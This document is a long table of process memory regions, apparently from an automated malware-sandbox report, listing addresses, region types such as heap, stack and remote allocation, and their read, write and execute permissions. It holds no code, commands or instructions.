18168720000
|
heap
|
page read and write
|
||
|
27D0000
|
heap
|
page read and write
|
||
|
2FED000
|
stack
|
page read and write
|
||
|
F52000
|
trusted library allocation
|
page read and write
|
||
|
1816A4E6000
|
heap
|
page read and write
|
||
|
18168500000
|
heap
|
page read and write
|
||
|
6AE0000
|
direct allocation
|
page read and write
|
||
|
6E8E000
|
stack
|
page read and write
|
||
|
1816A4B0000
|
heap
|
page read and write
|
||
|
1816872E000
|
heap
|
page read and write
|
||
|
21C4E000
|
stack
|
page read and write
|
||
|
21A8E000
|
stack
|
page read and write
|
||
|
8C20000
|
direct allocation
|
page execute and read and write
|
||
|
557AD5E000
|
stack
|
page read and write
|
||
|
1816A525000
|
heap
|
page read and write
|
||
|
2524FBB5000
|
heap
|
page read and write
|
||
|
1816A474000
|
heap
|
page read and write
|
||
|
F2D000
|
trusted library allocation
|
page execute and read and write
|
||
|
F23000
|
trusted library allocation
|
page execute and read and write
|
||
|
F90000
|
heap
|
page read and write
|
||
|
1816A441000
|
heap
|
page read and write
|
||
|
2CCE000
|
stack
|
page read and write
|
||
|
21850000
|
direct allocation
|
page read and write
|
||
|
453E000
|
stack
|
page read and write
|
||
|
210C0000
|
direct allocation
|
page read and write
|
||
|
21080000
|
direct allocation
|
page read and write
|
||
|
2524FBC0000
|
heap
|
page read and write
|
||
|
81BC000
|
stack
|
page read and write
|
||
|
705B000
|
heap
|
page read and write
|
||
|
218FF000
|
stack
|
page read and write
|
||
|
17022A82000
|
trusted library allocation
|
page read and write
|
||
|
275E000
|
stack
|
page read and write
|
||
|
323F000
|
stack
|
page read and write
|
||
|
2DCF000
|
stack
|
page read and write
|
||
|
1703B07E000
|
heap
|
page read and write
|
||
|
8077000
|
trusted library allocation
|
page read and write
|
||
|
7FFD9BA00000
|
trusted library allocation
|
page read and write
|
||
|
170247E1000
|
trusted library allocation
|
page read and write
|
||
|
7FFD9B91A000
|
trusted library allocation
|
page read and write
|
||
|
557AD9E000
|
stack
|
page read and write
|
||
|
7FFD9B760000
|
trusted library allocation
|
page read and write
|
||
|
17020E10000
|
heap
|
page read and write
|
||
|
1816A4B0000
|
heap
|
page read and write
|
||
|
1816A33F000
|
heap
|
page read and write
|
||
|
88B000
|
heap
|
page read and write
|
||
|
217ED000
|
stack
|
page read and write
|
||
|
7450000
|
trusted library allocation
|
page read and write
|
||
|
17023077000
|
trusted library allocation
|
page read and write
|
||
|
6160000
|
direct allocation
|
page read and write
|
||
|
1816A4CD000
|
heap
|
page read and write
|
||
|
1703AD45000
|
heap
|
page read and write
|
||
|
1816851B000
|
heap
|
page read and write
|
||
|
F00000
|
trusted library section
|
page read and write
|
||
|
8BC000
|
heap
|
page read and write
|
||
|
17032A72000
|
trusted library allocation
|
page read and write
|
||
|
7FFD9BAB0000
|
trusted library allocation
|
page read and write
|
||
|
95C000
|
heap
|
page read and write
|
||
|
1816A474000
|
heap
|
page read and write
|
||
|
7035000
|
heap
|
page read and write
|
||
|
1816872D000
|
heap
|
page read and write
|
||
|
7FFD9B911000
|
trusted library allocation
|
page read and write
|
||
|
1816A4E6000
|
heap
|
page read and write
|
||
|
17020E76000
|
heap
|
page read and write
|
||
|
4550000
|
trusted library allocation
|
page read and write
|
||
|
7FFD9B764000
|
trusted library allocation
|
page read and write
|
||
|
181684A0000
|
heap
|
page read and write
|
||
|
7FFD9B770000
|
trusted library allocation
|
page read and write
|
||
|
6B30000
|
direct allocation
|
page read and write
|
||
|
F55000
|
trusted library allocation
|
page execute and read and write
|
||
|
7FFD9B810000
|
trusted library allocation
|
page read and write
|
||
|
2DFE000
|
stack
|
page read and write
|
||
|
21C8E000
|
stack
|
page read and write
|
||
|
501CAFB000
|
stack
|
page read and write
|
||
|
2179F000
|
stack
|
page read and write
|
||
|
72EE000
|
stack
|
page read and write
|
||
|
7DF40FC50000
|
trusted library allocation
|
page execute and read and write
|
||
|
1816A4C3000
|
heap
|
page read and write
|
||
|
2952000
|
heap
|
page read and write
|
||
|
732F000
|
stack
|
page read and write
|
||
|
44FC000
|
stack
|
page read and write
|
||
|
7079000
|
heap
|
page read and write
|
||
|
1816A33F000
|
heap
|
page read and write
|
||
|
1816A4B2000
|
heap
|
page read and write
|
||
|
215DE000
|
stack
|
page read and write
|
||
|
6BA0000
|
direct allocation
|
page read and write
|
||
|
60AE000
|
stack
|
page read and write
|
||
|
557B7BB000
|
stack
|
page read and write
|
||
|
60ED000
|
stack
|
page read and write
|
||
|
1816A4C3000
|
heap
|
page read and write
|
||
|
1816856F000
|
heap
|
page read and write
|
||
|
170231F9000
|
trusted library allocation
|
page read and write
|
||
|
1816A33F000
|
heap
|
page read and write
|
||
|
557B27E000
|
stack
|
page read and write
|
||
|
557B6BE000
|
stack
|
page read and write
|
||
|
7FFD9BAD0000
|
trusted library allocation
|
page read and write
|
||
|
557C28B000
|
stack
|
page read and write
|
||
|
1816A34B000
|
heap
|
page read and write
|
||
|
501C6FB000
|
stack
|
page read and write
|
||
|
18168534000
|
heap
|
page read and write
|
||
|
1816850E000
|
heap
|
page read and write
|
||
|
5659000
|
trusted library allocation
|
page read and write
|
||
|
612E000
|
stack
|
page read and write
|
||
|
7FFD9BA10000
|
trusted library allocation
|
page read and write
|
||
|
1816A4B4000
|
heap
|
page read and write
|
||
|
17023207000
|
trusted library allocation
|
page read and write
|
||
|
2524F8E0000
|
heap
|
page read and write
|
||
|
2524FBB0000
|
heap
|
page read and write
|
||
|
1816A4F5000
|
heap
|
page read and write
|
||
|
7470000
|
trusted library allocation
|
page read and write
|
||
|
1816A4C3000
|
heap
|
page read and write
|
||
|
7230000
|
trusted library allocation
|
page read and write
|
||
|
1816857A000
|
heap
|
page read and write
|
||
|
7FFD9B762000
|
trusted library allocation
|
page read and write
|
||
|
7FFD9B920000
|
trusted library allocation
|
page execute and read and write
|
||
|
55C000
|
stack
|
page read and write
|
||
|
7FFD9BA70000
|
trusted library allocation
|
page read and write
|
||
|
1816A560000
|
remote allocation
|
page read and write
|
||
|
45FE000
|
stack
|
page read and write
|
||
|
1816A4FD000
|
heap
|
page read and write
|
||
|
45BE000
|
stack
|
page read and write
|
||
|
4570000
|
heap
|
page execute and read and write
|
||
|
214D0000
|
heap
|
page read and write
|
||
|
17020FD0000
|
trusted library allocation
|
page read and write
|
||
|
74B0000
|
trusted library allocation
|
page read and write
|
||
|
6B40000
|
direct allocation
|
page read and write
|
||
|
1816A359000
|
heap
|
page read and write
|
||
|
1816A4B4000
|
heap
|
page read and write
|
||
|
210F0000
|
direct allocation
|
page read and write
|
||
|
6B10000
|
direct allocation
|
page read and write
|
||
|
181685C1000
|
heap
|
page read and write
|
||
|
17020EC6000
|
heap
|
page read and write
|
||
|
1816A33C000
|
heap
|
page read and write
|
||
|
69EF000
|
stack
|
page read and write
|
||
|
17022EB6000
|
trusted library allocation
|
page read and write
|
||
|
1816A5FF000
|
heap
|
page read and write
|
||
|
1816A4B0000
|
heap
|
page read and write
|
||
|
1816A468000
|
heap
|
page read and write
|
||
|
1816A560000
|
remote allocation
|
page read and write
|
||
|
1702315B000
|
trusted library allocation
|
page read and write
|
||
|
1816A45B000
|
heap
|
page read and write
|
||
|
181684FB000
|
heap
|
page read and write
|
||
|
7480000
|
trusted library allocation
|
page read and write
|
||
|
7FFD9B930000
|
trusted library allocation
|
page execute and read and write
|
||
|
4631000
|
trusted library allocation
|
page read and write
|
||
|
6AD5000
|
heap
|
page execute and read and write
|
||
|
7097000
|
heap
|
page read and write
|
||
|
1816A657000
|
heap
|
page read and write
|
||
|
1703B0AE000
|
heap
|
page read and write
|
||
|
6AF0000
|
direct allocation
|
page read and write
|
||
|
17022EC7000
|
trusted library allocation
|
page read and write
|
||
|
7FFD9B9C0000
|
trusted library allocation
|
page read and write
|
||
|
449E000
|
stack
|
page read and write
|
||
|
7F10000
|
heap
|
page read and write
|
||
|
990000
|
trusted library section
|
page read and write
|
||
|
1703B280000
|
heap
|
page read and write
|
||
|
7FFD9B76D000
|
trusted library allocation
|
page execute and read and write
|
||
|
17020E60000
|
heap
|
page read and write
|
||
|
7FFD9BAC0000
|
trusted library allocation
|
page read and write
|
||
|
1703AE17000
|
heap
|
page read and write
|
||
|
7250000
|
trusted library allocation
|
page read and write
|
||
|
1816A4C3000
|
heap
|
page read and write
|
||
|
6140000
|
direct allocation
|
page read and write
|
||
|
1816A33F000
|
heap
|
page read and write
|
||
|
1816A359000
|
heap
|
page read and write
|
||
|
8015000
|
trusted library allocation
|
page read and write
|
||
|
210D0000
|
direct allocation
|
page read and write
|
||
|
4688000
|
trusted library allocation
|
page read and write
|
||
|
1816A4CA000
|
heap
|
page read and write
|
||
|
17020EA9000
|
heap
|
page read and write
|
||
|
7FFD9BA80000
|
trusted library allocation
|
page read and write
|
||
|
1816851B000
|
heap
|
page read and write
|
||
|
21840000
|
direct allocation
|
page read and write
|
||
|
17020E30000
|
heap
|
page read and write
|
||
|
181684B0000
|
heap
|
page read and write
|
||
|
1816A4C8000
|
heap
|
page read and write
|
||
|
7FFD9B77B000
|
trusted library allocation
|
page read and write
|
||
|
7F90000
|
trusted library allocation
|
page read and write
|
||
|
18168569000
|
heap
|
page read and write
|
||
|
7FFD9B990000
|
trusted library allocation
|
page read and write
|
||
|
1816A331000
|
heap
|
page read and write
|
||
|
181684FA000
|
heap
|
page read and write
|
||
|
4787000
|
trusted library allocation
|
page read and write
|
||
|
4E61000
|
trusted library allocation
|
page read and write
|
||
|
271D000
|
stack
|
page read and write
|
||
|
181686F0000
|
heap
|
page read and write
|
||
|
F30000
|
trusted library allocation
|
page read and write
|
||
|
21090000
|
direct allocation
|
page read and write
|
||
|
1816A4DA000
|
heap
|
page read and write
|
||
|
6130000
|
heap
|
page readonly
|
||
|
813B000
|
stack
|
page read and write
|
||
|
1816A359000
|
heap
|
page read and write
|
||
|
73D0000
|
trusted library allocation
|
page execute and read and write
|
||
|
7420000
|
trusted library allocation
|
page read and write
|
||
|
1816A342000
|
heap
|
page read and write
|
||
|
81FA000
|
heap
|
page read and write
|
||
|
170228D0000
|
heap
|
page read and write
|
||
|
3250000
|
heap
|
page read and write
|
||
|
1816A5A5000
|
heap
|
page read and write
|
||
|
27E0000
|
heap
|
page read and write
|
||
|
1816A518000
|
heap
|
page read and write
|
||
|
17020EEA000
|
heap
|
page read and write
|
||
|
501C7FF000
|
stack
|
page read and write
|
||
|
2D60000
|
heap
|
page read and write
|
||
|
3C60000
|
remote allocation
|
page execute and read and write
|
||
|
F20000
|
trusted library allocation
|
page read and write
|
||
|
1816A375000
|
heap
|
page read and write
|
||
|
1816A528000
|
heap
|
page read and write
|
||
|
70F0000
|
heap
|
page read and write
|
||
|
2194D000
|
stack
|
page read and write
|
||
|
1816A4C3000
|
heap
|
page read and write
|
||
|
501C0FE000
|
stack
|
page read and write
|
||
|
1816A359000
|
heap
|
page read and write
|
||
|
6B90000
|
direct allocation
|
page read and write
|
||
|
1816A4B0000
|
heap
|
page read and write
|
||
|
2155E000
|
stack
|
page read and write
|
||
|
1703B039000
|
heap
|
page read and write
|
||
|
2524F9C0000
|
heap
|
page read and write
|
||
|
7120000
|
trusted library allocation
|
page read and write
|
||
|
2524FAE0000
|
heap
|
page read and write
|
||
|
3540000
|
heap
|
page read and write
|
||
|
17020EB1000
|
heap
|
page read and write
|
||
|
6170000
|
direct allocation
|
page read and write
|
||
|
1816A4DF000
|
heap
|
page read and write
|
||
|
501C3FF000
|
stack
|
page read and write
|
||
|
83E0000
|
trusted library allocation
|
page read and write
|
||
|
4E49000
|
trusted library allocation
|
page read and write
|
||
|
557B63E000
|
stack
|
page read and write
|
||
|
1816A4C8000
|
heap
|
page read and write
|
||
|
729D000
|
trusted library allocation
|
page read and write
|
||
|
17020F70000
|
heap
|
page read and write
|
||
|
7128000
|
trusted library allocation
|
page read and write
|
||
|
557B2FE000
|
stack
|
page read and write
|
||
|
F4A000
|
trusted library allocation
|
page execute and read and write
|
||
|
58E3000
|
trusted library allocation
|
page read and write
|
||
|
920000
|
heap
|
page read and write
|
||
|
7FFD9B820000
|
trusted library allocation
|
page execute and read and write
|
||
|
6B60000
|
direct allocation
|
page read and write
|
||
|
711A000
|
heap
|
page read and write
|
||
|
7EA0000
|
trusted library allocation
|
page read and write
|
||
|
21100000
|
direct allocation
|
page read and write
|
||
|
1816A335000
|
heap
|
page read and write
|
||
|
6ED0000
|
heap
|
page read and write
|
||
|
1816A4CD000
|
heap
|
page read and write
|
||
|
1816A474000
|
heap
|
page read and write
|
||
|
7E90000
|
trusted library allocation
|
page read and write
|
||
|
170228C5000
|
heap
|
page read and write
|
||
|
1816A49C000
|
heap
|
page read and write
|
||
|
8223000
|
heap
|
page read and write
|
||
|
18168596000
|
heap
|
page read and write
|
||
|
736E000
|
stack
|
page read and write
|
||
|
1816A334000
|
heap
|
page read and write
|
||
|
CFC000
|
heap
|
page read and write
|
||
|
313F000
|
unkown
|
page read and write
|
||
|
58DE000
|
trusted library allocation
|
page read and write
|
||
|
170249E6000
|
trusted library allocation
|
page read and write
|
||
|
1816A480000
|
heap
|
page read and write
|
||
|
557C20D000
|
stack
|
page read and write
|
||
|
2E70000
|
heap
|
page read and write
|
||
|
9752000
|
direct allocation
|
page execute and read and write
|
||
|
7045000
|
heap
|
page read and write
|
||
|
17020EAD000
|
heap
|
page read and write
|
||
|
1816A374000
|
heap
|
page read and write
|
||
|
7FFD9B9B0000
|
trusted library allocation
|
page read and write
|
||
|
210E0000
|
direct allocation
|
page read and write
|
||
|
18168725000
|
heap
|
page read and write
|
||
|
69AE000
|
stack
|
page read and write
|
||
|
5FAB000
|
heap
|
page read and write
|
||
|
1703AF03000
|
heap
|
page read and write
|
||
|
21470000
|
heap
|
page read and write
|
||
|
F98000
|
heap
|
page read and write
|
||
|
1816A560000
|
remote allocation
|
page read and write
|
||
|
32F8000
|
heap
|
page read and write
|
||
|
18168535000
|
heap
|
page read and write
|
||
|
5F99000
|
heap
|
page read and write
|
||
|
17032A21000
|
trusted library allocation
|
page read and write
|
||
|
F10000
|
trusted library allocation
|
page read and write
|
||
|
1703B05A000
|
heap
|
page read and write
|
||
|
1816A4B7000
|
heap
|
page read and write
|
||
|
501C4FF000
|
stack
|
page read and write
|
||
|
2159E000
|
stack
|
page read and write
|
||
|
1816A331000
|
heap
|
page read and write
|
||
|
1816A49C000
|
heap
|
page read and write
|
||
|
2DAE000
|
unkown
|
page read and write
|
||
|
5F30000
|
heap
|
page read and write
|
||
|
1703AFE0000
|
heap
|
page execute and read and write
|
||
|
2524FAC0000
|
heap
|
page read and write
|
||
|
218BE000
|
stack
|
page read and write
|
||
|
1816A47F000
|
heap
|
page read and write
|
||
|
181686A0000
|
heap
|
page read and write
|
||
|
501C8FF000
|
stack
|
page read and write
|
||
|
32F0000
|
heap
|
page read and write
|
||
|
2151D000
|
stack
|
page read and write
|
||
|
181684D0000
|
heap
|
page read and write
|
||
|
21B0B000
|
stack
|
page read and write
|
||
|
1816A474000
|
heap
|
page read and write
|
||
|
1703AD8E000
|
heap
|
page read and write
|
||
|
21E20000
|
heap
|
page read and write
|
||
|
1816853C000
|
heap
|
page read and write
|
||
|
1816A337000
|
heap
|
page read and write
|
||
|
1816855D000
|
heap
|
page read and write
|
||
|
1816A4D3000
|
heap
|
page read and write
|
||
|
606E000
|
stack
|
page read and write
|
||
|
170247F2000
|
trusted library allocation
|
page read and write
|
||
|
6B00000
|
direct allocation
|
page read and write
|
||
|
2CFD000
|
stack
|
page read and write
|
||
|
1816A509000
|
heap
|
page read and write
|
||
|
1816A51E000
|
heap
|
page read and write
|
||
|
7020000
|
heap
|
page read and write
|
||
|
557B73E000
|
stack
|
page read and write
|
||
|
7FFD9B9E0000
|
trusted library allocation
|
page read and write
|
||
|
181684D8000
|
heap
|
page read and write
|
||
|
7FFD9B763000
|
trusted library allocation
|
page execute and read and write
|
||
|
557B0FE000
|
stack
|
page read and write
|
||
|
21B4E000
|
stack
|
page read and write
|
||
|
1703AF00000
|
heap
|
page read and write
|
||
|
181685C1000
|
heap
|
page read and write
|
||
|
1816A359000
|
heap
|
page read and write
|
||
|
80FC000
|
stack
|
page read and write
|
||
|
7460000
|
trusted library allocation
|
page read and write
|
||
|
1816A330000
|
heap
|
page read and write
|
||
|
810000
|
heap
|
page read and write
|
||
|
17022830000
|
heap
|
page read and write
|
||
|
1816A4C3000
|
heap
|
page read and write
|
||
|
1816A458000
|
heap
|
page read and write
|
||
|
17032A01000
|
trusted library allocation
|
page read and write
|
||
|
1816A49C000
|
heap
|
page read and write
|
||
|
1816A474000
|
heap
|
page read and write
|
||
|
21ACF000
|
stack
|
page read and write
|
||
|
81EE000
|
heap
|
page read and write
|
||
|
71FFEFF000
|
unkown
|
page read and write
|
||
|
6B50000
|
direct allocation
|
page read and write
|
||
|
32DF000
|
stack
|
page read and write
|
||
|
7FFD9B960000
|
trusted library allocation
|
page read and write
|
||
|
817E000
|
stack
|
page read and write
|
||
|
1816A5FF000
|
heap
|
page read and write
|
||
|
1816A457000
|
heap
|
page read and write
|
||
|
569A000
|
trusted library allocation
|
page read and write
|
||
|
6B80000
|
direct allocation
|
page read and write
|
||
|
1703B0AA000
|
heap
|
page read and write
|
||
|
1816A528000
|
heap
|
page read and write
|
||
|
1816A4CA000
|
heap
|
page read and write
|
||
|
1703AD97000
|
heap
|
page read and write
|
||
|
2198C000
|
stack
|
page read and write
|
||
|
4620000
|
heap
|
page read and write
|
||
|
1816A480000
|
heap
|
page read and write
|
||
|
1816A4C8000
|
heap
|
page read and write
|
||
|
7400000
|
trusted library allocation
|
page read and write
|
||
|
557B17C000
|
stack
|
page read and write
|
||
|
353F000
|
stack
|
page read and write
|
||
|
17022C25000
|
trusted library allocation
|
page read and write
|
||
|
1816A4C8000
|
heap
|
page read and write
|
||
|
1816A4CD000
|
heap
|
page read and write
|
||
|
17023251000
|
trusted library allocation
|
page read and write
|
||
|
6A2E000
|
stack
|
page read and write
|
||
|
8400000
|
trusted library allocation
|
page read and write
|
||
|
501BD29000
|
stack
|
page read and write
|
||
|
7F0E000
|
stack
|
page read and write
|
||
|
83C0000
|
trusted library allocation
|
page execute and read and write
|
||
|
9A7000
|
heap
|
page read and write
|
||
|
329E000
|
stack
|
page read and write
|
||
|
7430000
|
trusted library allocation
|
page execute and read and write
|
||
|
1816A357000
|
heap
|
page read and write
|
||
|
70D3000
|
heap
|
page read and write
|
||
|
880000
|
heap
|
page read and write
|
||
|
210A0000
|
direct allocation
|
page read and write
|
||
|
7410000
|
trusted library allocation
|
page read and write
|
||
|
F39000
|
trusted library allocation
|
page read and write
|
||
|
557B1FE000
|
stack
|
page read and write
|
||
|
17032A10000
|
trusted library allocation
|
page read and write
|
||
|
7FFD9B980000
|
trusted library allocation
|
page read and write
|
||
|
FDE000
|
stack
|
page read and write
|
||
|
81FE000
|
heap
|
page read and write
|
||
|
1816A52A000
|
heap
|
page read and write
|
||
|
7010000
|
heap
|
page execute and read and write
|
||
|
1816A344000
|
heap
|
page read and write
|
||
|
7FFD9BAA0000
|
trusted library allocation
|
page read and write
|
||
|
73C0000
|
trusted library allocation
|
page read and write
|
||
|
1816A331000
|
heap
|
page read and write
|
||
|
1816A4C3000
|
heap
|
page read and write
|
||
|
1816A4CD000
|
heap
|
page read and write
|
||
|
7F80000
|
trusted library allocation
|
page read and write
|
||
|
2954000
|
heap
|
page read and write
|
||
|
17020FB0000
|
trusted library allocation
|
page read and write
|
||
|
17023211000
|
trusted library allocation
|
page read and write
|
||
|
1816A51A000
|
heap
|
page read and write
|
||
|
29FD000
|
stack
|
page read and write
|
||
|
501C1FE000
|
stack
|
page read and write
|
||
|
61A0000
|
direct allocation
|
page read and write
|
||
|
1816A4D3000
|
heap
|
page read and write
|
||
|
18168548000
|
heap
|
page read and write
|
||
|
17032CFB000
|
trusted library allocation
|
page read and write
|
||
|
557C18E000
|
stack
|
page read and write
|
||
|
F50000
|
trusted library allocation
|
page read and write
|
||
|
7F6F000
|
stack
|
page read and write
|
||
|
7055000
|
heap
|
page read and write
|
||
|
1816A49C000
|
heap
|
page read and write
|
||
|
1816A5D0000
|
heap
|
page read and write
|
||
|
1816A331000
|
heap
|
page read and write
|
||
|
F70000
|
trusted library allocation
|
page read and write
|
||
|
1816A4CD000
|
heap
|
page read and write
|
||
|
6ECE000
|
stack
|
page read and write
|
||
|
4792000
|
remote allocation
|
page execute and read and write
|
||
|
83D0000
|
trusted library allocation
|
page read and write
|
||
|
3640000
|
heap
|
page read and write
|
||
|
1816A4CD000
|
heap
|
page read and write
|
||
|
21A4C000
|
stack
|
page read and write
|
||
|
7FFD9BA50000
|
trusted library allocation
|
page read and write
|
||
|
1703B081000
|
heap
|
page read and write
|
||
|
81C0000
|
heap
|
page read and write
|
||
|
18168729000
|
heap
|
page read and write
|
||
|
1816A49C000
|
heap
|
page read and write
|
||
|
7FFD9B9D0000
|
trusted library allocation
|
page read and write
|
||
|
7280000
|
trusted library allocation
|
page read and write
|
||
|
21BCF000
|
stack
|
page read and write
|
||
|
1816A357000
|
heap
|
page read and write
|
||
|
61B0000
|
direct allocation
|
page read and write
|
||
|
73F0000
|
trusted library allocation
|
page read and write
|
||
|
4540000
|
trusted library allocation
|
page execute and read and write
|
||
|
2930000
|
heap
|
page read and write
|
||
|
7F70000
|
trusted library allocation
|
page execute and read and write
|
||
|
1703B050000
|
heap
|
page read and write
|
||
|
1703AE09000
|
heap
|
page read and write
|
||
|
1703ADF0000
|
heap
|
page read and write
|
||
|
1816855D000
|
heap
|
page read and write
|
||
|
21A0C000
|
stack
|
page read and write
|
||
|
1816A4B2000
|
heap
|
page read and write
|
||
|
1816A4C3000
|
heap
|
page read and write
|
||
|
7F20000
|
heap
|
page read and write
|
||
|
1816A4F7000
|
heap
|
page read and write
|
||
|
CF0000
|
heap
|
page read and write
|
||
|
7FFD9BA60000
|
trusted library allocation
|
page read and write
|
||
|
1703B010000
|
heap
|
page read and write
|
||
|
6B70000
|
direct allocation
|
page read and write
|
||
|
AFE000
|
stack
|
page read and write
|
||
|
2E7C000
|
heap
|
page read and write
|
||
|
17023C5A000
|
trusted library allocation
|
page read and write
|
||
|
7FFD9B900000
|
trusted library allocation
|
page read and write
|
||
|
1702325A000
|
trusted library allocation
|
page read and write
|
||
|
17020FE0000
|
heap
|
page readonly
|
||
|
6EE8000
|
heap
|
page read and write
|
||
|
6FF0000
|
heap
|
page read and write
|
||
|
181685C1000
|
heap
|
page read and write
|
||
|
61C0000
|
heap
|
page read and write
|
||
|
7141000
|
heap
|
page read and write
|
||
|
1816A4B0000
|
heap
|
page read and write
|
||
|
5B92000
|
remote allocation
|
page execute and read and write
|
||
|
1816A623000
|
heap
|
page read and write
|
||
|
9A0000
|
heap
|
page read and write
|
||
|
1816A467000
|
heap
|
page read and write
|
||
|
17022EAC000
|
trusted library allocation
|
page read and write
|
||
|
1816A5D0000
|
heap
|
page read and write
|
||
|
557ACD3000
|
stack
|
page read and write
|
||
|
1816872C000
|
heap
|
page read and write
|
||
|
2524F9CA000
|
heap
|
page read and write
|
||
|
2954000
|
heap
|
page read and write
|
||
|
71FFB6D000
|
stack
|
page read and write
|
||
|
83F0000
|
trusted library allocation
|
page read and write
|
||
|
1816A580000
|
heap
|
page read and write
|
||
|
1816857B000
|
heap
|
page read and write
|
||
|
6AD0000
|
heap
|
page execute and read and write
|
||
|
17020EA7000
|
heap
|
page read and write
|
||
|
73E0000
|
trusted library allocation
|
page read and write
|
There are 621 hidden memdumps, click here to show them.